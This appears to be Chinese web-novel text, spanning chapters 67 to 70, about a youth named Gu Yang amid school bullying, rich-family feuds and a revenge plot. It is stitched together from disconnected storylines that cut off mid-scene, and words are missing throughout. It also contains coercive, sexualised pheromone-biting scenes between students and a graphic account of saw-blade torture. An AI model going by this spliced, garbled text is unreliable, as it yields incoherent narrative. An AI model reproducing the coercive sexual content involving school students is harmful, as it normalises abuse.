他刚刚还想要贴进去看,但目光也在警惕地看向四周,远远地一个长发的身影进入了他的视线中,还穿着他们学校的校服。 他是听小弟说过,冯小春的女儿就在他们学校读书,但不怎么去那里。 谢坞没想到这么巧都能撞上。 大家同是校友,加上对方还是个女生,谢坞怕撞上尴尬,而且他这次过来是想看看这个也许可能大概会成为他未来嫂子的人,这让他怎么能够面对对方的女儿啊? 这里已经是街道尽头的死胡同,谢坞左看右看,先是把顾央塞进了旁边的一堆纸板箱后面,自己又找了个地方躲了起来。 夏椿刚刚放学回来,他今天难得没有工作,所以想着回来看一眼他的母亲。 走到店门口时,他长长地吸了口气,仿佛进去这个动作都需要聚攒很大的勇气。 但还没等他来得及走进去,旁边突然传来噼里啪啦的掉落声。 他缓缓转过头去,面无表情地和被纸板箱砸了一头往外跑出来的顾央对上了视线。 第 67 章 第 67 章 夏椿沉默地看着面前的人。 突然间他缓缓伸出了手,朝着顾央往自己这边招了招。 那个姿势摆明了是让他过去。 但顾央就不。 他同样是面无表情地木着张脸,一点都没有被抓包到的自觉。 然后下一秒,又一个纸板箱砸在了他的头上。 戚珣看着顾央那张茫然的蠢脸,愈发烦躁。 空气中依稀还能闻见蒋白止丝丝缕缕的气味,是冷淡的龙涎香。 他厌恶顾央身上沾染其他人的气味,这让他觉得脏极了——他是一个洁癖患者,既然顾央现在还属于他,他就不允许顾央身上有雪松林以及硝烟以外的气味。 他眯起眼睛,下命令似的:“转身。”9的带来的刺激感让戚珣脑袋一片空白。 怀中的躯体温热柔软,皮肉下隐约可以闻到雪松林融化后淌在雪地上的清香。 戚珣只感觉近日来连绵不断的烦躁被一扫而空,大脑一片轻盈,四肢百骸中仿佛有暖流流淌,整个人似乎被浸泡在温泉之中。 调查显示,越高的伴侣,受印象的情绪,乃至体质就愈加明显。 尤其是对于渴求的来说,高浓度的无异于猫薄荷。 更遑论抱着,脸直接埋在人家里整整一夜——以至于后面戚珣抱着顾央,渐渐地意识不清。 简而言之,戚珣爽晕过去了。 他最近接了个短片拍摄,经常要片场学校两边跑,忙得脚不沾地,每天睡觉时间不足五小时。 可他一心想要挣脱戚家对畸形的控制,他父母对他扭曲的期望,因此无论多苦多累,都硬着头皮强撑着。 他知道自己必须尽快独立,不然在与戚家这个庞然大物对峙的过程中,他随时有可能满盘皆输,更糟糕的是……当年的事情再一次重演。 ——就像是顾央五年前背叛他那样。 他醒过来时,顾央已经穿好衣服,焦头烂额地收拾着凌乱的校医室,嘴里忍不住念叨:“天啊我们居然在校医室里睡了一晚……天啊护士小姐昨天是直接离开了吗?天啊……戚珣是狗吗?嘶,好疼。” 他一转身,就和戚珣面面相觑,当即闭上了嘴。 戚珣差点气笑了,从床上坐起来,磨了磨牙,“顾央,你皮痒了?” 顾央不吭声了,过了好一会,才道:“无论如何,以后不能在外面这样了……” 戚珣神色冷下来,“你是用什么身份在跟我说话?我的哥哥,还是我的仆从?” 顾央睁大了眼睛,可当他被不耐烦的戚珣板着肩膀,压在床上,整个人抖了一下,“等一下,小珣……” “不等,等什么?”戚珣闻见了他身上的蒋白止的气息,张开嘴,亲吻上裸露在空气中的,接着露出犬牙,慢慢地叼住那块肉。 “在班过得一定不好吧,跟我来班怎么样?” 戚珣咬着他的,眼中逐渐被某种深沉的眷恋占据。 顾央被迫扬起头,脖颈处的弧线苍白而脆弱。他的身体一下瘫软,呼吸困难,手指痉挛地攥住被单,却还是强撑着咬牙:“不……不行。” “为什么不行?哥不想跟我呆在一起吗?哥不是喜欢我吗?”戚珣鼻腔中都是顾央的味道,眼睛舒服得眯起来,像是一只被顺毛的大猫。 他舒服得头晕目眩,忍不住又开始用一种诱哄的语气撒娇般说道:“跟我一个班,每天都能看见我,还不会在班受欺负,也不会莫名其妙地和不认识的男人勾搭上了……” 他描摹着一副看似很美好的图景,顾央却摇了摇头,“不行,我考进来的成绩只能达到班,我……” “我一句话的事情。”戚珣说。顾央再见到丁宴时,是周三的下午。 加德王立学院每学期有安排游泳考试,他们今天来提前准备训练,然而,游泳馆却不对他们开放。 班主任皱着眉,“为什么?我们已经预约上了——” 安保的语气冷漠,“是么。或许是机器出了鼓掌。”继而又浮现一个假笑,“劳驾老师带着一群小鸡仔跑了大半个校园了。” 班主任愕然,他脸色变化几下,而耳畔响起一个声音。班的一个老师不知何时站在角落里,嗤嗤发笑,“文老师,这就是你的不对了。” “游泳馆这种地方,是不能给班的差生用的。”他表情惬意,“我们班今天要游泳考试,班就别脏了我们泳池的水了,毕竟你们班不知道是什么歪瓜裂枣,万一让我的学生沾染上皮肤病就不好了。” 班主任——文意一抬头,眼神就沉了下去。 班的这个老师与他不对眼很久了,两个人是同一所大学,曾经是同一个实验组的,文意负责了实验的绝大部分,上至每天泡在实验室到十二点,下至论文撰写以及反复修改。 ——可偏偏最后的一作在导师的授意下,变成了另一个人。 文意深吸口气,“贺老师,班的学生开学有体检过,没有人有皮肤传染病。” “况且,游泳馆里有整整4个泳池,我们只是借用其中一个,怎么也影响不到班的同学,” 班的班主任皱着眉头,看上去有些不悦,可身后忽然传来一声:“好啊。” 他一扭头,丁宴抱着双手,眸光闪烁不清,斜斜依靠在泳池入口前,语气懒散:“游泳馆这么大,还差这二十个人么?” 丁宴对于身材管理十分重视,腹部隐约可见流畅的肌肉线条,窄腰被黑色的泳裤收住,看上去盛气凌人,黑色的小卷毛在阳光下泛着点棕。 他浑身上下都是薄肌,线条有一种流畅的美,看着不像是一个柔弱的,倒能和媲美。他嘴上说着,眼睛却跳过了文意,一动不动地盯着顾央,笑着道:“别显得我们太过寒酸。” 顾央没有注意到他。双胞胎站在他身后,弯着腰,小声对他说:“央哥,你会游泳吗?” 顾央摇了摇头,另一个双胞胎像是怕他紧张一样安抚他道:“没事,很容易的,游一下就会了……” 他们与顾央的距离差了五根指头,丁宴没听见他们说话,却莫名觉得碍眼极了,死死地盯着他们,眼神更冷。 与戚哥在一起还不知足,结果还要出来沾花捻草……浪|荡。 顾央换好衣服出来时,丁宴站在泳池岸边。两个人擦肩而过时,丁宴却忽然转身。 他微微一笑,毫无心理负担地伸手一推,顾央就这样被他推入水中,“扑通”一声溅起了满池水花。 两个听见水声,一转过头来,大惊,“央哥!”就要上前去救人。 丁宴记恨着上次与顾央的矛盾,又厌恶着他和两个有说有笑的模样,脸上无光,因此铁定了心要折腾他,报复他,要让他记住教训,不再随意沾花捻草…… “你做什么!他不会游泳!” 震怒的声音传来。 “可是……班有特招生,如果我进来了,会挤占他们的名额,这对他们不公平。” 顾央又开始用他那愚蠢的善良了。戚珣想,世间哪有那么多公平不公平?都是权力的游戏罢了。 “怎么?”他阴恻恻地笑了一下,“你又想勾搭上谁?” “我没有……”顾央坚强地反驳,他不知道戚珣又是发哪门子疯,“我被人堵在厕所,昏过去了,一醒来就在这里……” 戚珣:“呵,这么说来,还是蒋白止主动将你抱过来的了?顾央,你以为蒋白止是什么人,他今晚有一场重要的宴会,你的意思是,为了你,他连那场宴会都不参加了,是吗?” “你以为你是谁?值得他为你驻留?你不会以为他是什么好人吧?” 他抱住顾央,锋利的犬齿往顾央的身体里注射,顾央压抑着自己的呼吸一下乱了,忍不住叫了一声:“啊!” 临时的过程总是漫长且痛苦的,苦涩的硝烟味慢慢浮现,将原本清冷的雪松林包裹住,接着强制压下,慢慢侵入。 顾央刚醒来,浑身绵软无力,就这么被戚珣压在床上,又进行了一场临时,脑子里一时都是嗡嗡声。 房间内都是喘气声,一声粗重,一声压抑中带着一点哭腔,顾央的手胡乱抓着空气,被戚珣一手扣下,十指交扣地压在床上,顾央原本清冷的雪松林气息逐渐被硝烟味占据,从内到外,严丝合缝,他脚背一下子绷直,弧线如拉紧的弓弦。 “呃……疼……戚珣你轻一点咬……” 他艰难顶着戚珣沉重炽热,如毯子一样严严实实压下来的身体。连求饶都是轻飘飘的。 可他越温柔,越柔软,就越想将他压在床上。 撕碎他,碾烂他,将自己埋进他温暖的血肉之中,再也不分开。 雪松林和硝烟气息交杂着飘逸出来。软得发腻的叫喊,偶尔夹杂着几声粗口,隔着门扉,清晰又模糊地传进蒋白止的耳朵里。 门外,蒋白止不知道站了多久,手里一根烟已经燃尽,烟尾烫到了他的手指,他才垂下眼睫,漠然地用皮鞋将烟踩在地上,碾得粉碎。 “疼了也不知道要跑,光叫喊有什么用,就这么随便给人咬?” 他冷嗤一声,不顾手上的烫伤,将刚刚沾染到的一点血液缓缓地碾在指腹之间,转身就走,眉宇间都是冰封似的冷淡。 “无趣至极。” 女生走过来和他合照,但因为是异性,她保持了一定的距离。 顾央学着她的样子,朝着镜头端庄地比了个剪刀手。 这只是个小小的插曲,拍完照后他们就继续吃饭,顾央看起来对于他身上的饰品很感兴趣。 那也是一个合作品牌寄来的,夏椿就往后别了下头发,给对方去看自己带着的耳钉。 “两位客人请往里面走。”服务员礼貌轻柔的声音从外面传进来,有新的顾客进来吃饭,夏椿本来没有在意,但看清过来的人是谁时,他脸上满是掩藏不住的错愕。 贺明安在服务员的指引下走了进来,他手上还牵着一个七八岁的小男孩,看着面对面坐在一起的两个人时,脸上的笑意像是霜一样固住了。 第 68 章 第 68 章 夏椿放下手里的筷子,默默看着贺明安。 他们之间相顾无言。 “明安哥,他们是你的同学吗?”被贺明安牵着的小男孩倒是在这时候开口了。 夏椿这才如梦初醒般地站了起来:“我已经吃好了,就先走了。” 他也不知道是在和顾央说,还是和贺明安说,总之在抛下这句话后,他就离开了这里,那背影和落荒而逃似的。 “这就吃饱了吗?胃口还真是够小的。”男孩扫了眼桌上还剩下大半的菜,然后抬头看向顾央,“央哥,好久不见了,你还记得我吗?我是贺桐啊。” “你怎么会在这里?” 顾烨脸色难看地吓人,他几步冲上前来,就想要把顾央从后面拽出来。 但一条手臂稳稳地挡在了他面前。 顾烨一点点转头,双目赤红地盯着宋引星。 他们两个身量差不多,都是顶级的硬件配置,一个高傲,一个沉稳,碰撞在一起时像是在争夺领地的雄兽。 顾央目光奇异地看着他们,嘴角依然挂着柔和的笑意。 “宋先生。”顾烨勉强忍下怒气,冲宋引星点了点头。 虽然宋家和顾家两家实力相当,但宋引星年纪轻轻就已经是掌权人,不像他还处处遭人掣肘。 虽然没必要多低眉顺眼,但最起码的分寸还是该有的。 特别是眼下,父亲居然把那个私生子提拔了上来,让他进入集团和自己分庭抗礼。 一想到这里,顾烨忍不住烦躁起来。 以前一直看不起的人,到关键时候居然反咬了他一口,这让一向心高气傲的他难以忍受。 而现在,罪魁祸首就在他的眼前。 这几天他几乎是成为了圈里所有人的笑柄。 对一个有妻有子的老男人爱而不得,转而去找上他儿子当替身。 这事情已经称得上是猎奇了。 但他又实在是百口莫辩,因为是他当场亲口说有几分相像是顾央的福气。 可他明明说的就是顾佳辛啊!为什么从顾央嘴里说出来以后就变成了顾顾城? 顾烨咬着牙,杀人的目光落在顾央身上。 但对方好像没有丝毫察觉。反而是弯着眼睛冲他笑了一下。 明明是和以前没有任何差别的笑容,但就是透露着股说不出来的味道。 就像是阴湿而又琢磨不透的雾一样。 看着还有点邪门。 顾烨不免有些惊疑不定。 他一直以为顾央就是个窝囊脾气,满脸穷酸样的废物,不管怎么压榨都闹不出什么动静来。 怎么一夜之间,就跟换了个人一样。 “既然已经到了,那就走吧,别在这里浪费时间了。” 宋引星平淡开口,连看都懒得多看一眼,随手揽过顾央的肩膀将他带了出来。 顾央心里一动,笑容更加甜腻。 这么护,还说不喜欢。 呵,口是心非的男人。 顾烨脸色更是差劲。 这次的商业会谈,他原本只需要去指定地点等着就行,但为表诚意,他都拉下脸凑到对方家门口了,居然被这么羞辱。 要不是那个私生子逼的太紧,他急于表现,怎么可能来受过这种气。 “宋先生是在给我撑腰吗?”顾央往后瞟了眼顾烨,然后笑着垫脚,跟宋引星咬着耳朵问道。 “你是这么想的吗?”宋引星也笑了一下,却是反驳,垂下头用同样大小的音量,“顾烨心气太傲,真要合作,还是得杀一杀锐气。” “这点我赞同。” 顾央非常认真地点点头,顾烨这逼就是个天龙人,从小生活环境优越,养成了他目中无人,趾高气昂的性格。 自己心头有个白月光就算了,还硬要玩替身。 跟这种人渣谈恋爱能有什么好结果呢。 也不知道原身是怎么想的。 最后还真让他熬出he。 但这种he才膈应人吧。 顾烨这次过来是为了谈宋家名下一块位于黄金地段的地皮。顾氏集团对此势在必得,因为这关系到他们后面商业圈开发的计划。 也正是因为知道这点,所以宋引星必然会要抬价,顾儒康要求顾烨在预算内拿下这块地皮。 这也是顾烨证明自己的机会。 但反过来,如果顾烨把这件事给搞砸了,那么他在顾儒康那里的评价会更加劣势。 想到这里,顾央忍不住笑了起来。 对于顾烨这种人而言,没有什么是比将他引以为傲的一切全部夺走更能报复人的事情了。 一瞥到顾央侧脸兴致昂扬的笑容,顾烨整个人都不舒服了起来。 那天被当场打脸的震撼感又涌了上来。 “这地方还挺不错的。” 顾央上下打量着着这周围的环境,有模有样地点评道。 “这位小先生眼光就是好。这还是当年宋先生买下来的地皮。” 前来陪同的负责人连忙附和着夸赞道,他老远就看到这位长得格外好看的小先生和他家老板举止亲密。 那可是生人勿近的宋先生啊。 能做到这地步,一看就不是普通人。 宋引星轻轻挑了下眉毛,似乎对于顾央突然的夸奖很感兴趣。 顾央没有回他,而是用脚尖在地上轻轻一划,语调带着几分很轻的神经质:“特别适合杀人抛尸。” 负责人营业化的笑容立刻僵硬在原地,他很干地打着哈哈:“这位小先生真是幽默。” 但话毒理不毒,这一片在城郊,少有人烟,又没有安装摄像头,确实是有这样的隐患。 只是这话总不能当面说出来。 顾烨闻言脸色更是难看,毕竟自己正要谈这块地皮,觉得对方这么说就是在故意膈应他。 他冷笑一声,相当刻薄地嘲讽道:“这件事情和你也没什么关系吧,反正你这辈子也接触不到这种层面的东西。” 他懒得和顾央再废话,心里还是瞧不起对方,觉得多讲一句话都是在自降身份。 顾烨决定直接切入正题。 但他还没来得及开口,反而是宋引星先被顾央的话给逗笑了。 “既然你这么喜欢的话,这块地就送给你好了。” 此话一出,在场的气氛突然就安静了下来。 负责人震撼地睁大了眼睛,顾烨脸上更是如同地震变成一片废墟。 就连顾央,原本看戏一般的表情上,也流露出了几分震惊。 他在说什么? 但明显宋引星并不是在开玩笑,因为他让负责人直接拿出了今天准备好的协议,然后在上面非常流利地签好字,在金额上非常潇洒地签写了个零字以后,转头交给了顾央。 虽然还没有理解过来情况,但顾央已经下意识地在上面签上了自己的名字。 “等一下!宋先生!”才反应过来的顾烨惊慌喊道,他的声音甚至都破音了,“你不能这么做。” 但顾烨说话期间,顾央已经签好了字,他把协议还给宋引星。 宋引星冲他笑了下,并没有接下:“后续的手续我到时候再跟你沟通,这个就放在你那里,当作证明。” 顾央有几分恍惚地点点头,在顾烨目眦欲裂的眼神中将那腥风血雨的纸张折好塞进了星里。 原身,难道是救过宋引星的命吗? 为什么他会这么大方啊! 顾央不太理解。 不过不管是为了什么,这个结果简直是…… 太好了。 要不是场合不合适,顾央觉得自己都能够笑出声来。 他翘起嘴角,迎上顾烨简直可以化为刀子把他戳死的目光,对着对方露出了一个无比柔和而漂亮的笑容,然后把头轻轻靠在了宋引星的肩膀上。 但那双漆黑的眼睛,却是一动不动地注视着顾烨。 “宋先生,不管怎么说,这里的地皮我们很早之前就在协商了,但你现在却出尔反尔,将它擅自给了别人。”顾烨都快要气炸了,他现在极力压抑着才没能让自己当初甩脸色走人。 开玩笑,要是拿不下这里,他真的就要让那个私生子踩在头上了。 “我知道,但我现在已经把他给顾央了,总不好再出尔反尔一次吧。” 宋引星轻描淡写地说道,却用很亲昵的称呼去叫顾央的名字。 明明是第一次叫,但却有种莫名的缱绻。 顾央也不说话,乐得看现在这一场面。 “而且,你也还是可以继续去谈,只不过换成了顾央而已。” 没错,确实是这样。 而且相较起来,和顾央这个商业小白谈价格更加有利。 但从私心上来说,顾烨这么都接受不了,自己居然要向这个他从来没有放在眼里的人低头。 一时间,他脸色青青红红,不知道该如何表示。 夹在中间的负责人也被快要受不了这让人异常尴尬的情势,毕竟他今天过来就是为了促成和顾家的合约,没想到事情居然变成了这样。 这算不算是掷千金为博美人一笑…… 看着那个沐浴在阳光下,仿佛开了层柔光滤镜的漂亮少年,负责人忍不住在心里默默吐槽道。 但心里想归想,他现在也只能尽力缓和气氛:”不如先继续逛逛,还有几个地方没看过呢。” 毕竟不能在这里开罪了宋家,加上他本来就是要来考察,顾烨只能铁青着张脸继续往前走。 里面是几栋已经停建的楼层,当时负责的人就是因为资金链断裂所以无法继续,只能紧急脱手。 看着看着,宋引星突然轻笑了一声。 “怎么了吗?”顾央看着他的笑容,非常感兴趣地问道。 “没什么,只是突然想起来长辈说过的一件趣事。”宋引星笑着指向放置在那里的,切割石料用的锯盘,“以前有些混黑的,想要撬开别人的嘴,就会把那些人蒙上眼睛绑在木板上,打开锯盘一点点切割上去,在等待的恐惧中毁掉对方的信念。” 这话说的意有所指,但联想到宋家的发家史,在加上道听途说的一些传闻,顾烨的脸色更加难看。 他能够听出来。 宋引星这是在威胁自己。 警告他为了这块地皮,不要对顾央做出过激的行为。 想到这里,顾烨更加气闷。 但顾央眼里却闪过了非常隐晦而压抑的兴奋之色,他弯起眼睛,轻声的呢喃中带着很深的意味:“宋先生说的,确实是非常有趣的事情。” 很适合用来作为一些人的惊喜礼物。 他能够从对方身上感受到。 摇摇欲坠的,不断倾斜的。 图书馆的入口传来接近的脚步声,虽然刚刚已经响起了下课铃声,但这个时间点很少有人会到这里来。 他松了下手指,吹进来的风帮他翻开了下一页纸张。 白色窗纱飘动着,半遮半掩着他的面容,只能从身后的阳光中勾勒出隐隐绰绰的身影。 明明是那么温暖的阳光,但被它照着的人却依然显得冰冷无比。 走进来的顾央似有所感,抬起了头。 第 69 章 第 69 章 “你没有去上课吗?” 不知道该说些什么,宋引星只能用这句话开启话题。 “嘘。”顾央将手指轻轻放在唇边,“我逃课了,不许告诉别人。” 宋引星沉默地走上前去,看着顾央怀里的书:“你怎么还在看这个。” “他们会进行一场奔赴向死亡的大迁徙,这是旅鼠流淌在血液里的自杀本性。” 顾央轻轻念着那段话,他的表情看起来是要笑,但又显出一种更加隐晦而深刻的嘲讽,以至于十分别扭。 “你刚才,在说什么?” 听到那几个字,顾顾城的脸色顺时间变了,不自觉就流出趁得上可怕的阴沉。 “说你是个凤凰男啊,难道不是吗?” 顾央的神色天真又无辜,似乎不理解对方在生什么气:“你当年穷到结婚时连房子都买不起,最后还是妈妈出钱买的。” “还有顾氏集团,当初你创业半途合伙人跑掉了,资金链断裂,都是妈妈拿钱给你补上窟窿。她把所有的资产都用来支持你的事业,没有她的话,你以为你能有今天这个成就吗?叫你句凤凰男有错吗?” “顾央!”顾顾城惶恐地吼道,试图用音量让对方闭嘴,脖子都涨红了一片,看着风度全无。 有句话怎么说来着?越没用的狗叫的越大声。 某些人即使给他爬到很高的位置,穿得人模狗样,还是改不了骨子里那点卑劣的性子。 真难看。 “你当年能追到我妈,应该是费了不少力气舔上去的吧?”顾央叹了口气,满脸苦恼,“但你后来把小三带进来的时候可不是那副嘴脸。” “在那里义正严辞地说是什么年少时候的真爱,弄得好像是我妈棒打鸳鸯一样。“ “那小三进来的时候还带了个跟我一样大的小孩。”顾央歪过头,随手揽过同样听傻过去的顾佳辛,亲昵地凑到他的耳边,一字一顿地耳语,“就是你啊,私生子。” 吃软饭,出轨,任由小三逼走原配。 所以他真的是不能理解了,在书里这对狗男女到底是凭什么可以洗白,主角受到底为什么可以毫无芥蒂地接受这个家庭? “你,你……” 顾顾城脸都气成了猪肝色,语无伦次。 他根本想不到顾央居然敢把这件事给捅出来,他以后还想不想在家里立足了? “顾央,你这个狗杂种在说什么?” 顾佳辛脸都青了,这些事情他从来没有听过,毕竟在一周以前他甚至不知道他还有个就比自己大了几个月的哥哥。 所以他下意识觉得对方在胡言乱语,一时间气急攻心,都忘记了身上的伤口,没过脑就想着对顾央动手。 顾央反应很快,身体一沉把顾佳辛往下压,然后抓住他的头发把往反方向扯过来,毫不留情的力道痛得对方惨叫一声。 但顾央显然觉得这还不够,扣着他的脑袋就往墙上砸过去,边砸边笑:“听不懂人话是吧,我是说你才是那个狗杂种。“ 哐哐几下下去,顾佳辛人都给砸懵了,他没想到顾央当着这么多外人的面,居然还敢打他。 他发了狠地往后伸手想要挠人,却被顾央握住他的手腕反手别到了背后,同时用足以将他头发薅下来的力度继续去扯他。 顾佳辛被迫狼狈地弓起背,连连惨叫。 卧槽卧槽。 邵贤脸上写满了震惊。他连连用手推旁边的瓜友白陆平,试图传递一下自己震撼的情绪。 纵使他也经历了那么多豪门撕逼,但还是头一次看到如此直白的,当着外人的面,连他老子的脸面都不顾了。 简直比昨晚那场还要震撼。 好精彩,这是他们可以免费听的吗? “顾央,你还不赶紧把你弟弟放开!”顾顾城站在原地跺脚,无能狂怒,但并没有上前制止。 不知道为什么,他总有种感觉,但凡这时候他敢上去,这大孝子一定会连着他一起撕,和自己的儿子当众撕打。 传出去他还要不要混了? 顾佳辛被扯得头上绷带都散了下来,原本缝合好的伤口又开始往外渗血,看着十分惊险。 他根本没想到顾央力气居然这么大,被拽得头昏脑胀,原本嚣张的气焰都熄得差不多了。 “疯子……” 顾佳辛不明白为什么之前那个骂不还口的受气包突然间就变成了这幅样子,但他现在吓得大气都不敢喘。 “啊对对对,我就是个疯子。” 顾央把顾佳辛拽上来:”之前当老实人被你骑到头上来,现在我不干了,懂了吗?” ““你在我面前这么横,不就是觉得爸爸会给你撑腰吗?但他为什么现在不过快来帮你呀?宝贝儿子都被打成这样子了。” “因为他在怕我,怕我连他一起打了,丢他的脸。” 被揭穿心事的顾顾城脸上青一阵红一阵,只能冷着脸故作深沉。 还是白陆平他们看着实在有点过了,出于那么点抹不开的交情上去拉架。 邵贤把顾佳辛挡在身后,白陆平架着顾央,把撕扯在一起的两个人拉开。 说实话邵贤上去的时候心里还有点发怵,生怕这小疯子杀红眼了连他一块撕。 他日常中明里暗里少不了纷争,但一般都是阴着来,还是第一次见到这么原始直白的画面。 好在对方还是奉行冤有头债有主的原则停了下来。 “诶,有事就说事嘛,好端端动什么手啊。” 顾央很短促地笑了一声,一双眼睛幽幽地看着邵贤:“我说两位叔叔,这事情你们凑什么热闹。在一边好好看戏不好吗?被你们拦着,更精彩的事情我都做不了了。” 还有更精彩的? 邵贤的吃瓜之心瞬间燃起,看着这个一把年纪了还混不吝的,白陆平皱着眉冲他使了个眼色让他注意场合。 邵贤自然没有混账到这个程度,况且他和顾佳辛还算有几分叔侄情,自然是继续做个和事佬。 “贤侄啊,叔知道你心里委屈,但大家都是一家人,打断骨头还连着筋呢。就像你叔偶尔火气上来了也会打儿子,但打完半夜都睡不着觉,心里那个痛的啊,所以不管怎么样,使用暴力总是不对的,我们要以和为贵。” 年轻时就靠着野路子混出来的邵贤一番谆谆教诲,酸得自己牙都要掉了,但他觉得自己刚才一番话发挥相当不错。 顾央的笑容愈发甜蜜:“叔,前提你那儿子得是你亲生的对吧。我假设一下,如果说是你妻子红杏出墙,你这么多年都替别人养了儿子,你还能以和为贵吗?” 过于诛心的言论让邵贤心里一突,关键是他这人脑补能力特别强大,很容易想多,一想到儿子那和妻子一个模子里刻出来的,跟他没有丝毫关联可以证明的长相,忍不住就内心惶惶,面露菜色。 “噢,我这也只是随便假设一下,叔你可千万不要生我的气呀。”顾央见有机可乘,自觉失言地捂住了自己的嘴,神态间愈发像朵毫无心机的小白花,“毕竟也有可能是当年生完以后抱错了,现在不是很流行这种真假少爷的戏码嘛。” 邵贤:“……” 完全没有被安慰到。 这孩子,是真的想要平等地创死在场的每一个人。 现场气氛陷入了奇怪的尴尬中去,顾央继续手上的工作,那架势好像打算把顾佳辛彻底薅秃为止。 偏偏顾佳辛在他手里就跟只小鸡仔一样,除了惨叫毫无还手之力。 顾清文安安静静地站在楼梯转折的台阶上,由上而下,没什么表情地观看着客厅里这一场鸡飞狗跳的闹剧。 直到剧幕已经到达了最高潮,再演下去就收不了台,也没什么意思了为止,他才不紧不慢,一步步地走了下去。 他的双手轻轻扶在顾央的肩膀上,不容置疑地往下按,示意对方松下手。 “爸,我先把顾央带回房间休息去了。” 他说得轻描淡写,没有等顾顾城发话,也没有去慰问一句狼狈不堪的顾佳辛,只是对着邵贤和白陆平点了下头示意,然后就这么揽过顾央上了楼。 顾央比他预料的要听话,乖乖地松开顾佳辛。 但刚要转身时,顾央又是一脚,踹在了顾佳辛身上,把对方踹得往后一倒。 “不好意思,脚滑。”顾央无辜地笑了笑,无视顾佳辛敢怒不敢言的表情,跟着顾清文上了楼。 走到楼梯拐角处时,顾央停了下来,他好像拼命想要憋笑,但还是没忍住笑出了声,整个人跟没骨头一样靠在顾清文的胳膊肘上,笑得肩膀一耸一耸的,好像遇到了天大的乐子。 “有这么开心吗?”顾清文捞着他,语气非常温和地问道,两个人动作亲昵地像是对关系极好的兄弟。 “你不是都看到了吗?”等终于笑够了以后,顾央依然闷在顾清文身上,语调轻盈地回答。 “嗯,都看到了,说实话挺蠢的。”顾清文用不变的语气点评,内容却相当锋利不留情面。 “那还真是可惜了,我好满意自己刚才的表现,” 顾央直起了身,擦了下眼角并不存在的眼泪,回忆刚才的画面又笑了起来。 “这就是你的报复吗?”顾清文好像被他的笑意所感染,嘴角也带出点浅淡的微笑,“打他们一顿出气?需要我把我的高尔夫球杆借给你用吗?” “怎么可能。”顾央惊讶地睁大了眼睛,“如果只是这样的话,为什么我不趁他们睡觉,直接一把火把房子给烧了来得方便。” 明明是轻飘飘的话语,但蕴含在其中那股天真的恶意过于纯粹,让人没有办法只当个玩笑话揭过去。 “但这样实在是太便宜他们了。”顾央几乎是下意识说出了这句话。 医院的消毒水,仪器冰冷的响声,还有那张总是含着眼泪的面容,无数零碎的片段折射出光影,交叠着从脑海中不断闪过。 不是冷冰冰的文字,而是仿佛活生生存在过的,彻骨剜肉的痛意,让他在这一瞬间对自己的身体都失去了掌控权,倾倒着直直往前栽倒,然后被男人扶入臂弯。 猛然从中挣脱回来时,顾央甚至产生了种一脚踩悬空的失重感,他的额角沁出冷汗,还没有对焦上的瞳孔虚无地望着顾清文,用梦呓的声音轻声说道。 “我会让他们,彻彻底底地痛到骨子里为止,让他们的余生都为自己还活着这件事情而感到痛苦。” “哥哥,你会站在我这边的对吧。”顾央牵过顾清文的手,用脸颊机械地蹭着他的指腹,呼吸都有些凌乱,像是溺迫切想要抓住救命稻草的溺水者。 “告诉我吧,你的答案是什么?” 宋引星不作声,他都顾不上去问发生了什么事情,而是匪夷所思地意识到了什么。 贺明安从什么时候开始站在外面的。 上课铃声打响在这时候打响了,贺明安指指外面:“你该回去了吧,虽然会迟到一点,但应该还是比不去要好。” “那你呢?” 贺明安摇摇手指,表情中带上了点促狭的神色:“我当然是要逃个课了。” 他深深地看了眼对方,但最后也只是默默地离开了这里。 看着宋引星离去的背影,贺明安脸上浮现出复杂的神色,但他最后只是很轻很轻地叹了口气。 第 70 章 第 70 章 “你们真不知道我昨天晚上有多倒霉。” 谢坞还扯着余白他们在那里滔滔不绝地倒苦水,“我明明什么都没做,就是趴在店门口看了几眼,结果被那家店的老板娘逮着整理纸板箱到七点多。” 余白提问:“顾央不就是把纸板箱给碰倒了吗?你重新叠好不就好了。” “我倒是想这么简单啊,那个老板娘还说什么,诶哟小伙子你人高马大的,帮我把这些箱子踩踩扁,然后我们一起把它捆好,到时候我好拿去卖。” 陆寂提问:“你不能拒绝吗?这又不是你该做的。” 顾央皱了皱眉,收回目光。 林烨方才说了一大通,他都没有听进去,等到林烨似乎说累了,停下来后,才缓慢道:“林少,可以麻烦你让他不要跪了吗?” 林烨一愣,他瞥了一眼跪在地上的男生,猛地一抬下巴,扯着一边的嘴角,邪邪笑道:“你一个仆从,敢对我发号施令?你以为你是谁?” 顾央脾气温和地解释:“不是发号施令,毕竟这里是学校,闹成这样,也不太好。” “有什么不好的?我表叔都是校董会的!蒋家你知道吗?我表叔和蒋少可有过交情呢!” 林烨嚣张至极,“况且,分明是他们欠我钱在先,我就是让他们跪下了,你又能如何?是他自己答应的,我给一千块,就跪一小时。” 他这是赤裸裸地用金钱,去买他人的尊严。顾央又看了窗户里的两个孩子一眼,他们看上去颇有些憔悴,眼睛下都是乌央色。 顾央自己久病成医,一眼便看出里面的女孩身体也不太好,恐怕是为了医药费才做出如此举动。 他有些厌倦地垂下眼睛,挣开林烨抓着他的手,在两个孩子绝望而凄凉的目光下,他语气平淡地一点头,“抱歉,林少,我还有事,先走了。” 林烨:“你走什么?我让你走了吗……” 他总觉得这个身上有股奇特的味道,他狗鼻子似地耸了耸鼻,莫名不想让他走。 “我是戚珣的仆从,又不是你的仆从。” 顾央打断他,他垂着眼,睫毛长长地,仿佛黑色的蝶翼,轻声道:“林少,如果我迟到的话,戚少会质问我的。” 他话音落下,空气中那股雪松林般的清香更加明显了,网住了林烨。 林烨脑袋晕乎乎的,下意识想要遵从顾央的话。那种气味简直像有什么魔力,让人下意识就想要服从。 但他很快反应过来,疯狂地摇了摇头,迟钝的大脑链接回方才的对话。 顾央言至于此,已经很明确了,戚珣一旦质问,恐怕就要揪出林烨了。 林烨面孔一时间扭曲,他家虽然也算是名门,可是与戚家比起来,就不太够看。他是靠着狗屎运和攀亲附戚进的加德王立学院,因此身上还带着股混混似的流氓气。 和宋引星身上的军痞气不太一样。宋引星站在那里,像是一个被关在鞘里的利刃,乍一看懒懒散散,但是却能从他的举手投足中,看出生死才能练就出的锋芒。 而林烨却像是一个街边流满口水的鬃狗,怎么也上不了台面。 戚家一个指头就能摁死他,他不甘心,眼珠一转,凑过去,忽然说:“不如打个赌如何?” “你要是能接到迎新晚会的请柬,我就当着你面前狗叫,相反,但是如果你接不到,你就跪下来向我道歉。” 顾央:“……” 他没有再理会他,抱着书,低着头,径直越过。 傻子才打这种蠢赌。 